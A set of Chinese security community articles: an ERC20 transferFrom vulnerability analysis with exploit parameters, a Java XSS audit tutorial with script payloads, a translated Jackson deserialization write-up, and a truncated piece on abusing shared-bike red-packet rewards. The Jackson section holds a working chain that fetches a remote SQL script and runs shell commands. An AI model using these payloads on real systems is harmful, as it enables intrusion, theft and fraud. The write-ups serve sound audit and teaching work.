最近在审计代码的时候发现了两则十分相似的代码，审计之后发现代码存在一些问题，后来查询发现两则代码确为2018年的CVE。即：CVE-2018–11411与CVE-2018–10468。由于者的漏洞点十分相似，所以在本文中我将两代码一同进行分析。
其代码分别位于：<https://etherscan.io/address/0x27f706edde3aD952EF647Dd67E24e38CD0803DD6#code>
<https://etherscan.io/address/0xf084d5bc3e35e3d903260267ebd545c49c6013d0#code>
经过简单的分析，我发现两则漏洞均是由编写者在编写代码过程中错误撰写合约判断条件从而导致攻击者可以利用条件传入合适的参数从而绕过判断进而作恶。
代码并不长，但是危害性极大。
### 二、代码分析
由于代码十分相似，所以我们仅分析其不同点与关键点。
合约如下：
/**
* Source Code first verified at https://etherscan.io on Wednesday, June 28, 2017
(UTC) */
pragma solidity ^0.4.10;
contract ForeignToken {
function balanceOf(address _owner) constant returns (uint256);
function transfer(address _to, uint256 _value) returns (bool);
}
contract UselessEthereumToken {
address owner = msg.sender;
bool public purchasingAllowed = false;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalContribution = 0;
uint256 public totalBonusTokensIssued = 0;
uint256 public totalSupply = 0;
function name() constant returns (string) { return "Useless Ethereum Token"; }
function symbol() constant returns (string) { return "UET"; }
function decimals() constant returns (uint8) { return 18; }
function balanceOf(address _owner) constant returns (uint256) { return balances[_owner]; }
function transfer(address _to, uint256 _value) returns (bool success) {
// mitigates the ERC20 short address attack
if(msg.data.length < (2 * 32) + 4) { throw; }
if (_value == 0) { return false; }
uint256 fromBalance = balances[msg.sender];
bool sufficientFunds = fromBalance >= _value;
bool overflowed = balances[_to] + _value < balances[_to];
if (sufficientFunds && !overflowed) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
// mitigates the ERC20 short address attack
if(msg.data.length < (3 * 32) + 4) { throw; }
if (_value == 0) { return false; }
uint256 fromBalance = balances[_from];
uint256 allowance = allowed[_from][msg.sender];
bool sufficientFunds = fromBalance <= _value;
bool sufficientAllowance = allowance <= _value;
bool overflowed = balances[_to] + _value > balances[_to];
if (sufficientFunds && sufficientAllowance && !overflowed) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function approve(address _spender, uint256 _value) returns (bool success) {
// mitigates the ERC20 spend/approval race condition
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256) {
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function enablePurchasing() {
if (msg.sender != owner) { throw; }
purchasingAllowed = true;
}
function disablePurchasing() {
if (msg.sender != owner) { throw; }
purchasingAllowed = false;
}
function withdrawForeignTokens(address _tokenContract) returns (bool) {
if (msg.sender != owner) { throw; }
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function getStats() constant returns (uint256, uint256, uint256, bool) {
return (totalContribution, totalSupply, totalBonusTokensIssued, purchasingAllowed);
}
function() payable {
if (!purchasingAllowed) { throw; }
if (msg.value == 0) { return; }
owner.transfer(msg.value);
totalContribution += msg.value;
uint256 tokensIssued = (msg.value * 100);
if (msg.value >= 10 finney) {
tokensIssued += totalContribution;
bytes20 bonusHash = ripemd160(block.coinbase, block.number, block.timestamp);
if (bonusHash[0] == 0) {
uint8 bonusMultiplier =
((bonusHash[1] & 0x01 != 0) ? 1 : 0) + ((bonusHash[1] & 0x02 != 0) ? 1 : 0) +
((bonusHash[1] & 0x04 != 0) ? 1 : 0) + ((bonusHash[1] & 0x08 != 0) ? 1 : 0) +
((bonusHash[1] & 0x10 != 0) ? 1 : 0) + ((bonusHash[1] & 0x20 != 0) ? 1 : 0) +
((bonusHash[1] & 0x40 != 0) ? 1 : 0) + ((bonusHash[1] & 0x80 != 0) ? 1 : 0);
uint256 bonusTokensIssued = (msg.value * 100) * bonusMultiplier;
tokensIssued += bonusTokensIssued;
totalBonusTokensIssued += bonusTokensIssued;
}
}
totalSupply += tokensIssued;
balances[msg.sender] += tokensIssued;
Transfer(address(this), msg.sender, tokensIssued);
}
}
改合约很明显为一款ERC20的应用产品，其拥有转账函数、余额查询函数、授权函数、授权转账函数等。
在该合约中使用暂停、开始函数来使合约管理者控制合约的状态。
function enablePurchasing() {
if (msg.sender != owner) { throw; }
purchasingAllowed = true;
}
function disablePurchasing() {
if (msg.sender != owner) { throw; }
purchasingAllowed = false;
}
而在该函数中，为了方便扩展性操作还引入了外币的使用方法：
function withdrawForeignTokens(address _tokenContract) returns (bool) {
if (msg.sender != owner) { throw; }
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
使用此函数能够创建外币合并并传入相应的地址便可进行外币转账操作。
在该合约中如何参与到token的购买呢？具体要看下列函数：
function() payable {
if (!purchasingAllowed) { throw; }
if (msg.value == 0) { return; }
owner.transfer(msg.value);
totalContribution += msg.value;
uint256 tokensIssued = (msg.value * 100);
if (msg.value >= 10 finney) {
tokensIssued += totalContribution;
bytes20 bonusHash = ripemd160(block.coinbase, block.number, block.timestamp);
if (bonusHash[0] == 0) {
uint8 bonusMultiplier =
((bonusHash[1] & 0x01 != 0) ? 1 : 0) + ((bonusHash[1] & 0x02 != 0) ? 1 : 0) +
((bonusHash[1] & 0x04 != 0) ? 1 : 0) + ((bonusHash[1] & 0x08 != 0) ? 1 : 0) +
((bonusHash[1] & 0x10 != 0) ? 1 : 0) + ((bonusHash[1] & 0x20 != 0) ? 1 : 0) +
((bonusHash[1] & 0x40 != 0) ? 1 : 0) + ((bonusHash[1] & 0x80 != 0) ? 1 : 0);
uint256 bonusTokensIssued = (msg.value * 100) * bonusMultiplier;
tokensIssued += bonusTokensIssued;
totalBonusTokensIssued += bonusTokensIssued;
}
}
totalSupply += tokensIssued;
balances[msg.sender] += tokensIssued;
Transfer(address(this), msg.sender, tokensIssued);
}
该函数要求用户传入msg.value且没有金额的限制，且此金额将被合约自动转移到owner的钱包中。如何金额大于10
finney，变会自动进行金额的调整，而此处的调整合约使用了其自身的一套机制，所以我们这里不用深度研究。之后得到`tokensIssued`金额，变将用户的余额加上此金额即可。
而对于`DimonCoin`合约来说，其最大的不同为出现了`distributeFUD`函数。此函数仅由owner调用且用于统一减去传入数组的中所有地址的余额。
而如此简单的合约为什么为存在漏洞呢？这个漏洞点出现在转账函数中。下一章我们详细进行讲解。
### 三、漏洞利用
在审计此代码时，由于token机制所以应该重点注意转账函数。而此合约中就是由于转账函数出现的问题而导致的漏洞。
function transfer(address _to, uint256 _value) returns (bool success) {
// mitigates the ERC20 short address attack
if(msg.data.length < (2 * 32) + 4) { throw; }
if (_value == 0) { return false; }
uint256 fromBalance = balances[msg.sender];
bool sufficientFunds = fromBalance >= _value;
bool overflowed = balances[_to] + _value < balances[_to];
if (sufficientFunds && !overflowed) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
上述函数用于直接转账，我们来看判断条件，当转账人余额大于转账金额时，`sufficientFunds`为1，当没有出现溢出时`overflowed`为0，此时`!overflowed`为1。则下面的转账过程变满足条件。而我们来看下面的`transferFrom`函数。
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
// mitigates the ERC20 short address attack
if(msg.data.length < (3 * 32) + 4) { throw; }
if (_value == 0) { return false; }
uint256 fromBalance = balances[_from];
uint256 allowance = allowed[_from][msg.sender];
bool sufficientFunds = fromBalance <= _value;
bool sufficientAllowance = allowance <= _value;
bool overflowed = balances[_to] + _value > balances[_to];
if (sufficientFunds && sufficientAllowance && !overflowed) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
在此函数中我们自己阅读条件就发现了端倪。当正常理解逻辑为，转账人余额要大于转账金额，而条件却为`fromBalance <=
_value`；除此之外，要满足转账条件`balances[_to] + _value >
balances[_to]`需要为0。而此时就只有溢出才能满足条件。
正确的代码应该编写如下：
bool sufficientFunds = fromBalance >= _value;
bool sufficientAllowance = allowance >= _value;
bool overflowed = balances[_to] + _value > balances[_to];
if (sufficientFunds && sufficientAllowance && overflowed) {
那么我们来具体看一看如何进行实战利用。
首先我们模拟owner部署该合约。
令owner调用`fallback`函数，传入2 ether 作为启动资金。
之后更换用户。令新用户传入10wei。
得到：
为了满足`sufficientFunds==1`&&`sufficientAllowance==1`&&`overflowed==0`。
即使得账户余额小于转账金额、授权金额小于转账金额、且满足溢出hhh。
"0x583031d1113ad414f02576bd6afabfb302140225","0xca35b7d915458ef540ade6068dfe2f44e8fa733c",0xfffffffffffffffffffffffffffffffffffffffffffffde1e61f36454dbfffff
首次调用得到：
第二次调用得到：
即每次调用均会凭空增加许多代币。
攻击账户中只有起始资金1000，且其他合并并没有授权给他收钱的权利，所以传入该参数能够令其凭空窃取。同样，该漏洞在`DimonCoin`中同样存在。
调用方法与上述内容相同。
对待这种错误需要合约编写者认真检查所写合约，由于判断不严格而导致的漏洞是致命的，并且很容易被攻击者利用。
### 四、参考
* <https://etherscan.io/address/0xf084d5bc3e35e3d903260267ebd545c49c6013d0#code>
* <https://etherscan.io/address/0x27f706edde3aD952EF647Dd67E24e38CD0803DD6#code>
* <https://medium.com/coinmonks/uselessethereumtoken-uet-erc20-token-allows-attackers-to-steal-all-victims-balances-543d42ac808e>
* <https://medium.com/coinmonks/dimoncoin-fud-erc20-token-allows-attackers-to-steal-all-victims-balances-cve-2018-11411-ba9a320604f9>
* 以太坊中攻击者交易日志：<https://etherscan.io/tx/0x122ee230d86cea0d1c1df42599e722a849067598777a0f43ccf83b12d0dfd485>
<https://etherscan.io/tx/0x50a100eaf74469520177db55ea28f6046492034fdf5f5d264768d87c60ec3f3b>
`本稿为原创稿件，转载请标明出处。谢谢。` | 社区文章 |
# Java审计之XSS篇
## 0x00 前言
继续 学习一波Java审计的XSS漏洞的产生过程和代码。
## 0x01 Java 中XSS漏洞代码分析
### xss原理
xss产生过程：
后台未对用户输入进行检查或过滤，直接把用户输入返回至前端。导致javascript代码在客户端任意执行。
### XSS代码分析
在php里面会使用`echo`对用户输入的参数进行直接输出，导致了xss漏洞的产生。而在Java里面会将接收到的未经过滤的参数共享到request域中，在jsp的页面里面使用EL表达式进行输出。
这里编写一个serlvet来做一个演示
xssservlet代码：
@WebServlet("/demo")
public class xssServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doGet(request,response);
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");// 设置响应类型
String content = request.getParameter("content"); //获取content传参数据
request.setAttribute("content", content); //content共享到request域
request.getRequestDispatcher("/WEB-INF/pages/xss.jsp").forward(request, response); //转发到xxs.jsp页面中
}
}
xss.jsp代码：
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
${requestScope.content}
</head>
<body>
</body>
</html>
启动tomcat，访问url：
http://localhost:8080/untitled3_war_exploded/demo?content=1
传参一个1过去成功输入了，那么再来传一个xss的payload试试。
http://localhost:8080/untitled3_war_exploded/demo?content=<script>alert("xss")</script>
成功的弹出了一个框
在审计中需要关注的是参数是否可控，如果可控传入的参数是否会被过滤后共享到request域中，如果在可控和不被过滤的情况下，就很有可能存在xss漏洞。
### 防御xss策略
我们需要防御xss漏洞的攻击，就需要添加一个方法，在传入前先调用该方法进行一次过滤，但是这样的方式比较繁琐，这时候就可以使用ESAPI来帮我们过滤。
ESAPI介绍：
企业安全API（ESAPI）项目是OWASP项目，可为每个Web平台创建简单的强大安全控件。安全控件并不容易构建。您可以在OWASP网站上了解无聊的开发人员的数百个陷阱。通过为开发人员提供一组强大的控件，我们旨在消除创建安全Web应用程序的某些复杂性。这可以在整个SDLC中节省大量成本。
据说可以应付大部分的web攻击漏洞。
在pom.xml导入ESAPI坐标
<!-- https://mvnrepository.com/artifact/org.owasp.esapi/esapi -->
<dependency>
<groupId>org.owasp.esapi</groupId>
<artifactId>esapi</artifactId>
<version>2.2.1.1</version>
</dependency>
servlet代码：
@WebServlet("/demo")
class xssServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doGet(request,response);
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException, ServletException, IOException {
response.setContentType("text/html");// 设置响应类型
String content = request.getParameter("content"); //获取content传参数据
String s = ESAPI.encoder().encodeForJavaScript(content); //进行实体编码
request.setAttribute("content", s); //content共享到request域
request.getRequestDispatcher("/WEB-INF/pages/xss.jsp").forward(request, response); //转发到xxs.jsp页面中
}
}
参考该博客
https://blog.csdn.net/CHS007chs/article/details/86645450
## 0x02 搭建测试环境
### 测试环境
IDEA ：2020.1.2 X64
MYSQL ：5.7.26
TomCat：8.0
JDK ：1.8
### 搭建环境
下载源码
`http://down.admin5.com/jsp/132874.html`。
idea中导入项目，添加pom.xml文件为maven文件。如果Spring注解报错说明Spring的环境还没拉去下来，刷新一下pom.xml文件就好了。
这里配置是82端口，目录就默认就行。
配置tomcat也设置为82端口
这里要注意路径需要根路径，否则加载有一些css资源的时候路径会因为路径问题加载不少。
这样就配置完成了，但是还是会发现有一些get，set的方法会爆红。
项目的说明文档里面给出了解决方法，只需要安装一下lombok插件重启一下就解决了，这里是因为一些代码中并没有实际编写get和set的方法，使用的是插件去提供的。
这些完成后，就可以讲提供好的sql文件导入进去。进行启动
这些都是自己专门踩过的坑，一段操作猛如虎后，启动完成。但是会有一些报错，sql文件在导入的时候，有些执行错误了，几张表没创建成功，在进行操作该表的时候未找到该表，就报错了。
## 0x03 setAttribute中的xss
这次还是拿上次搭建的环境来做一个演示。
那么结合前面的内容，知道了xss的产生过程是使用request.setAttribute方法将请求到的数据未经过滤存储到request域中，然后在jsp页面里使用el表达式进行输出。
在审计的时候我们可以直接来全局搜索 快捷键 `Ctrl+Shift+F`
这里就来找一下存储型xss，反射的xss意义并不大。
点击选择一个文件来看看他的代码，这里直接就给共享到request域中了，但是这里只是我们的一个查询方法，我们需要找到他输入值的地方，
看到下面的addComment方法正好对应上了一个输出xss ，一个插入xss的地方。
查看该方法 `commentService.addComment(comment);`
调用addComment方法将值传入，不出意外的话传入的comment参数就是接收过来的一个实体类。我们来Ctrl+左键点击
Comment类进行跳转到该类去。
主要关注变量为 String类型的变量，因为Java是强类型的语言。
等会对这几个变量的地方进行插入xss代码。
回到刚才的控制器代码
点击ctrl+左键点击addComment 追溯到CommentService 的接口
同样的方式再追溯到CommentService的实现类
使用的是commentDao调用addComment 传入参数进行添加数据。继续追溯上去
在这里我们就看到了dao接口中的addcomment方法，dao接口中并没有myabtis的注解，说明是xml配置文件配置的。
后面的直接开启全局搜索，搜索addComment指定xml文件。
点击进去看到，我们的提交的内容会被插入数据库里面，也就是说这是个存储型xss
逻辑这里其实已经很清晰了。
具体的还得看实操，查看Controller获取路径。
漏洞位置：
http://127.0.0.1:82/web/comment/ajax/addcomment
结合刚刚查看的Comment实体类，我们已经找到哪些地方可以去插xss了。
<script>alert("1")</script>
访问一下漏洞地址
这里还需要登录后才能访问，那就登录一下吧！
系统错误，我。。。。。肯定又是上次那张表的问题，那几张表没建立好。
没事具体来审计其他的点。
根据上面内容来总结一下，我们首先是全局搜索了`request.setAttribute`
这个共享到request域的方法，查看他的传值类型，再跟踪到他的实体类里面，查看实体类中哪些地方是String类型的变量。只有String类型的。查询完这样以后，就需要查看哪些方法调用了哪些方法将我们的xss
Payload添加进去，后面就可以追溯到dao层查看一下有没有添加进数据库里面。在查询和插入内容的方法里面需要留意一下有没有过滤。
## 0x04 ModelAndVIew详解
当视图解释器解析是ModelAndVIew，其中model本生就是一个Map的实现类的子类。视图解析器将model中的每个元素都通过request.setAttribute(name,
value);添加request请求域中。这样就可以在JSP页面中通过EL表达式来获取对应的值。其实就是进行了一个简单的封装，方便于我们使用。
**方法1：**
定义格式：
public ModelAndView addObject(String attributeName, Object attributeValue)
实例：
1 ModelAndView mav=new ModelAndView("hello");
2 mav.addObject("time", new Date());
将一个对象共享到域中
**方法2：**
mav.getModel().put("name", "xiaoming");
## 0x05 ModelAndView的xss
使用ModelAndView需要new一个对象，那么我们可以直接来全局搜索`new ModelAndView`来查找该关键字。
点击一个存在该关键字的类，进行跳转到该类。
这里实例化了一个对象叫model，跟踪看一下model都调用了哪些方法，如果调用`addObject`共享到域中，看他有没有调用过滤方法，没有的话，我们就可以来跟踪一下需要共享的值。哪些地方可以插入
xss的Paylaod。
定位一下typeList变量是怎么来的
这里就可以看到调用了`webSiteImagesTypeService`的`webSiteImagesTypeService.queryAllTypeList()`方法进行返回的，存储到了一个list集合，`WebSiteImagesType`类型的。
再来定位到`WebSiteImagesType`实体类里面，看看都有哪些属性，查看有没有String类型的变量。
typeName的地方是String类型的，可以去插入xss的Payload。
返回Controller查看调用的方法typeList值得获取调用得方法。
ctrl+左键点击WebSiteImagesTypeSerivce跳转到该接口。
选中接口，CTRL+H 查看该接口实现类。
点击实现类，进行跟踪
这里就查看到了
service层得`queryAllTypeList`会调用`webSiteImagesTypeDao`的`queryAllTypeList()`查询进行返回且没有过滤,继续跟踪dao到。
看到并没有使用注解来配置，那么就肯定是使用了xml的文件来进行配置了。
全局搜索一下dao的名称，并且指定类型为xml的文件，在开发中一般xml的映射文件会和dao接口的名字前面一样，然后加个mapper。
点击跳转进去
到这里后，就已经看到内容会从数据库的`EDU_WEBSITE_IMAGES_TYPE`表里面去取值，并且返回。
下一步需要做的就是查看数据会从哪里去写入。
返回到Controller，看到下面还有个更新的方法，是可以对数据进行插入的。
调用了`WebSiteImagesTypeService`方法跳转到实现类里面查看，有没有调用到过滤的方法。
这里并没有调用到过滤的方法，而是直接调用webSiteImagesTypeDao.updateType直接传入值了，其实从Controller的更新方法追溯上去一点多此一举了，因为我们在跟踪查询方法的service接口的时候，其实就已经看到增删改查的方法了，这里只是为了逻辑更清晰一些。
跟踪到updatetype方法后， 查询映射文件，其实文件还是刚刚在定位查询方法时候的那个文件里面
这里得知该语句会从WebSiteImagesType取typeName和typeId的值，进行更新语句的填入。如果我们在对应的位置插入xss后，payload
会存储在`WebSiteImagesType`的`typeName`然后再被带入到dao层去写入到数据库里面去。写入完成，访问页面服务器执行了查询方法的话就会返回xss的值，这时候输入输出都没有做过滤直接输出了，就导致了xss的产生。
下面来把环境启动，然后进行测试一下。
查看漏洞地址
http://127.0.0.1:82/admin/imagetype/getlist
点击修改名称进行修改。
xss执行了，但是闭合的时候没成功闭合，插崩了。后面的几个按钮都给覆盖了。
去数据库将数据删除一下。
重新打开一下。
构造xss Payload，具体怎么构造这里就不做赘述了。
</td><script>alert("1")</script>
## 0x06 参考文章
https://xz.aliyun.com/t/7945#toc-9
https://xz.aliyun.com/t/2646
## 0x07 结尾
在审计代码的时候会发现一些比较有意思的事情，比如刚刚查看的service接口中的增删改查方法，如果接口中一任意个方法没做过滤，其他的方法也不会去做一个过滤。刚刚审计的只是一个update的方法插入xss，但是如果是增加的方法呢？，当然也是可以的。但是这里的代码添加的方法不是直接去做一个设置，而是添加条新的并且是空的数据，后面需要修改成想要的数据。这样的话漏洞的位置还是在修改方法上面，而不是添加的方法。 | 社区文章 |
在我们的一次研究过程中，我们分析了一个使用`Jackson`库对`JSON`进行反序列化的应用程序。在分析过程中，我们寻找到一个反序列化漏洞，并可以对反序列化的类进行控制。在本文中，我们将向读者展示攻击者如何利用此反序列化漏洞来触发服务器端请求伪造（SSRF）和远程代码执行等攻击。
该研究催生了新的CVE-2019-12384生成，并影响到了一系列RedHat产品：
### 漏洞攻击条件
正如Jackson在[On Jackson CVEs](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96)中写到的那样：下面是利用工具需要的要求：
（1）应用程序接受由不受信任的客户端发送的`JSON`内容（由手动或未编写且无法查看或控制的代码）。这意味着我们无法约束正在发送的JSON消息。
（2）应用程序对名称类型为`java.lang.Object`的属性（或少量“许可”标记接口之一，如`java.util.Serializable`，`java.util.Comparable`）使用多态类型处理。
（3）应用程序至少有一个特定的“小工具”类可以在Java类路径中使用。详细而言，开发需要一个与杰克逊的工具辅助。实际上，大多数小工具仅适用于特定的库，例如最常见的报告与JDK序列化一起使用。
（4）该应用程序使用的`Jackson`版本阻止特定的“小工具”类。有一组已发布的小工具会随着时间的推移而增长，因此它是补丁与漏洞之间的一场竞赛。反序列化是平台的“功能”，它们不断更新[所报告的利用工具黑名单](https://github.com/FasterXML/jackson-databind/blob/master/src/main/java/com/fasterxml/jackson/databind/jsontype/impl/SubTypeValidator.java)。
在这项研究中，我们假设满足前提条件（1）和（2）。
相反，我们专注于寻找能够满足（3）和（4）的利用工具。`Jackson`是Java应用程序中最常用的反序列化框架之一，其中多态性是常用的概念。
对于可能使用静态分析工具或其他动态技术的潜在攻击者来说，找到这些条件是零成本的，例如在请求、响应中查找@class，以找到这些目标。
### 攻击准备
在我们的研究过程中，我们开发了一个工具来帮助发现这些漏洞。当Jackson反序列化`ch.qos.logback.core.db.DriverManagerConnectionSource`时，可以滥用此类来实例化JDBC连接。
JDBC代表`（J）ava（D）ata（b）ase（C）onnectivity`。 `JDBC`是用于连接和执行数据库查询的`Java
API`，它是JavaSE（Java标准版）的一部分。此外，JDBC使用自动字符串到类映射，因此它是在链中加载和执行更多“利用工具”的完美目标。
为了演示攻击，我们准备了一个封装程序，我们在其中加载由攻击者指定的任意多态类。对于环境，我们使用了`jRuby`，其运行在`Java`虚拟机（JVM）之上并由`ruby`实现。通过集成在JVM之上，我们可以轻松地加载和实例化Java类。
我们将使用此设置在给定目录中轻松加载Java类，并准备`Jackson`环境以满足上面列出的前两个要求（1,2）。为此，我们实现了以下jRuby脚本。
require 'java'
Dir["./classpath/*.jar"].each do |f|
require f
end
java_import 'com.fasterxml.jackson.databind.ObjectMapper'
java_import 'com.fasterxml.jackson.databind.SerializationFeature'
content = ARGV[0]
puts "Mapping"
mapper = ObjectMapper.new
mapper.enableDefaultTyping()
mapper.configure(SerializationFeature::FAIL_ON_EMPTY_BEANS, false);
puts "Serializing"
obj = mapper.readValue(content, java.lang.Object.java_class) # invokes all the setters
puts "objectified"
puts "stringified: " + mapper.writeValueAsString(obj)
该脚本如下：
* 在第2行，它加载“classpath”子目录中Java Archives（JAR）中包含的所有类。
* 在第5行和第13行之间，它配置Jackson以满足要求（＃2）。
* 在第14行和第17行之间，它将传递给jRuby的多态`Jackson`对象反序列化并序列化为JSON。
### 工具包研究
对于这项研究，我们决定使用Java社区广泛使用的收到。 为了证明这种攻击，所有目标库都位于Maven中央存储库中排名前100位的最常见的库中。
要复现该攻击，读者可以下载以下库并将它们放在“classpath”目录中：
* [jackson-databind-2.9.8](http://central.maven.org/maven2/com/fasterxml/jackson/core/jackson-databind/2.9.8/jackson-databind-2.9.8.jar)
* [jackson-annotations-2.9.8](http://central.maven.org/maven2/com/fasterxml/jackson/core/jackson-annotations/2.9.8/jackson-annotations-2.9.8.jar)
* [jackson-core-2.9.8](http://central.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.9.8/jackson-core-2.9.8.jar)
* [logback-core-1.3.0-alpha4](http://central.maven.org/maven2/ch/qos/logback/logback-core/1.3.0-alpha4/logback-core-1.3.0-alpha4.jar)
* [h2-1.4.199](http://central.maven.org/maven2/com/h2database/h2/1.4.199/h2-1.4.199.jar)
应该注意，`h2`库不需要执行`SSRF`，因为我们的经验表明，大多数时候Java应用程序加载至少一个JDBC驱动程序。
JDBC驱动程序是一种类，当传入JDBC URL时，它们会自动实例化，并将完整的URL作为参数传递给它们。
使用以下命令，我们将使用上述类路径调用上一个脚本。
$ jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:\"}]"
在脚本的第15行，Jackson将使用子对象中包含的密钥递归调用所有setter。更具体地说，Jackson反射库使用参数调用`setUrl(String
url)`。在该阶段（第17行）之后，完整对象再次序列化为JSON对象。此时，如果未定义getter，则通过显式getter直接序列化所有字段。setter是`getConnection()`。作为攻击者，我们对所有方法感兴趣，这些方法在我们控制参数时会产生副作用。
调用`getConnection`时将实例化内存数据库。由于应用程序是短暂的，我们不会从攻击者的角度看到任何有意义的影响。为了做更有意义的事情，我们创建了一个到远程数据库的连接。如果目标应用程序部署为远程服务，则攻击者可以生成服务器端请求伪造（SSRF）。以下屏幕截图是此方案的示例。
### 输入矩阵：从SSRF到RCE
我们可能已经注意到这两种情况都会导致DoS和SSRF。虽然这些攻击可能会影响应用程序的安全性，但我们希望向读者展示一种简单有效的技术，将SSRF转变为完整的RCE。
为了在应用程序的上下文中获得完整的代码执行，我们加载`H2 JDBC`驱动程序的功能。
H2是一个快速的SQL数据库，通常用于完整的SQL数据库管理系统（如Postgresql，MSSql，MySql或OracleDB）的内存替换。它很容易配置，它实际上支持许多模式，如内存，文件和远程服务器。
H2具有从JDBC
URL运行SQL脚本的能力，该URL是为了拥有支持init迁移的内存数据库而添加的。仅这一点就不允许攻击者在JVM上下文中实际执行Java代码。但是，H2由于它是在JVM中实现的，因此能够指定包含java代码的自定义别名。这是我们可以滥用来执行任意代码的内容。
我们可以通过一个简单的`http`服务器（例如python-one:`python -m SimpleHttpServer`）提供以下`inject.sql
INIT`文件。
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('id > exploited.txt')
并运行应用程序：
$ jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}]"
...
$ cat exploited.txt
uid=501(...) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)
### 迭代污点跟踪
开发反序列化漏洞很复杂，需要大量时间。 在进行产品安全性审查时，时间限制可能使得我们难以找到用于开发的适当工具。
反序列化漏洞是典型的大海捞针问题。 一方面，识别易受攻击的入口点是一项容易的任务，而找到有用的工具可能非常耗时。
在Doyensec中，我们开发了一种技术来寻找有用的杰克逊小工具，以促进后者的努力。 我们构建了一个静态分析工具，可以通过污点跟踪分析找到序列化小工具。
我们将其设计得足够快，可以多次运行，并通过自定义和可扩展的规则集语言进行改进。 平均而言，在Macbook PRO i7 2018上运行需要2分钟。
`污点追踪`是一个专题学术研究课题。 学术研究工具专注于非常高的召回率和精确度。 权衡取决于高召回率、精确度与速度、内存之间的关系。
由于我们希望此工具在测试商业级产品时可用，我们重视工具的可定制性，因此我们专注于速度和可用性，而不是高召回率。
本文为翻译文章，来源于：[https://blog.doyensec.com/2019/07/22/jackson-gadgets.html](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html) | 社区文章 |
# 挖社会主义墙角，薅共享单车羊毛
|
##### 译文声明
本文是翻译文章，文章来源：雷晓川@风控数据云联盟
原文地址：<https://mp.weixin.qq.com/s/5--_zmcwEb7gx2luAGbKiA>
译文仅供参考，具体内容表达以及含义原文为准。
共享单车倒贴钱让你骑，你骑不骑？还可以提现，这是一个历史性的转折点。一定要记录下来，这也侧面标志着共享单车打响了新一轮的“烧钱战”。不由得开动灰产思维想一下，挣钱的机会来了。
**红包车与灰产机会**
共享单车推出了红包车，规则是至少骑行10分钟，红包1元起，骑行到地铁站等需求中心有机会拿到100元的红包，累积10元可提现。
下图显示了一个红包单车的密集点：
从地图上看该地地貌如下：
这是上海南部的一个工厂区，附近人烟比较稀少。与单车的宣传相对照，可以看出红包车应该是停放到偏远地点，有一段时间没人用的车。
**羊毛党如何“生产”红包车？**
基于目前红包车的算法，羊毛党搜索附近的共享单车，用面包车拉到偏僻地方上锁，刷新应用，等待变成红包车，同时用微信等手段招揽红包猎手（单车红包的羊毛党）。
如果红包车平台规则不严，可以解锁后批量拉到地铁站等处获得较高额度红包，而且还可以顺手把地铁站的非红包车收回来，构成循环。
从目前笔者朋友圈晒出的截图、官方晒出的截图来看，单车红包平均不会太小，否则起不到刺激作用，但如果大一些的话，便会刺激薅羊毛产业。
单车红包推出的本意是应对共享单车的潮汐效应，用红包鼓励用户将单车从需求不旺的地点向需求旺盛的地点骑行调配。而对羊毛党来说，多找几个人，收车，养红包，变现，一条龙循环运作，从而达到收益最大化目的。
我们算一下若平均每车可获得10元，最多可以薅多少？
假设一个羊毛党每天不间断工作8小时，红包车骑10分钟会有领取红包的机会。若红包每单平均10元，即每人每天的羊毛480元。
对于有空就钻的羊毛党而言也是一笔不错的收益。
共享单车设计规则时，一定不要低估恶意规则利用者的破坏力。如果红包车制度在悬赏金额、红包产生机制、发放规则中不做好对恶意红包猎手的防范，有可能运行结果会是有人在偏远地区囤积共享单车养红包，反而进一步加剧共享单车分布的不平衡。
**如何防范“薅羊毛”**
魔高一尺，道高一丈，今天我们从几个角度来说说如何防范薅羊毛。
**1）欺诈网络图谱**
